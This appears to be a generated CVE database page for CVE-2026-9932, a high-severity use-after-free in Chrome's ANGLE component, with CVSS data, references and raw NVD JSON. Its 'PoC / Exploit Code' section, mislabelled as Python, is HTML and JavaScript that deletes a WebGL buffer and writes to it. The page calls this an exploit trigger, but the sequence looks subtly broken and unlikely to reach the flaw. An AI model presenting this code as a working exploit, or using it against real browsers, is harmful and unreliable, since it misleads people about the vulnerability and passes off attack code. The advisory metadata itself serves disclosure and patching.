CVE-2026-9932

Description

Use after free in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9932: Use After Free in ANGLE
  This script demonstrates a trigger pattern for the UAF vulnerability.
  Note: Actual exploitation requires control over the renderer process first.
-->
<html>
<head><title>CVE-2026-9932 PoC</title></head>
<body>
<script>
  // Attempt to trigger the UAF in the ANGLE component via WebGL
  try {
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');

    if (gl) {
      console.log("[+] WebGL context initialized");

      // Create a buffer to manipulate GPU memory
      const buffer = gl.createBuffer();
      gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
      gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 1.0, 0.0]), gl.STATIC_DRAW);

      // Simulate the vulnerability trigger: Free the object
      gl.deleteBuffer(buffer);

      // Use after free: Attempt to access the deleted buffer
      // In a vulnerable version (< 148.0.7778.216), this may corrupt memory
      gl.bufferSubData(gl.ARRAY_BUFFER, 0, new Float32Array([1.0, 0.0, 0.0]));

      console.log("[+] Exploit trigger sent. Check for crashes.");
    } else {
      console.log("[-] WebGL is not supported");
    }
  } catch (e) {
    console.log("Error: " + e.message);
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9932
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9932
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9932/
[4] VulDB https://vuldb.com/cve/CVE-2026-9932
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/501563323

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9932", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:51.300", "lastModified": "2026-05-29T16:16:38.643", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/501563323", "source": "[email protected]"}]}}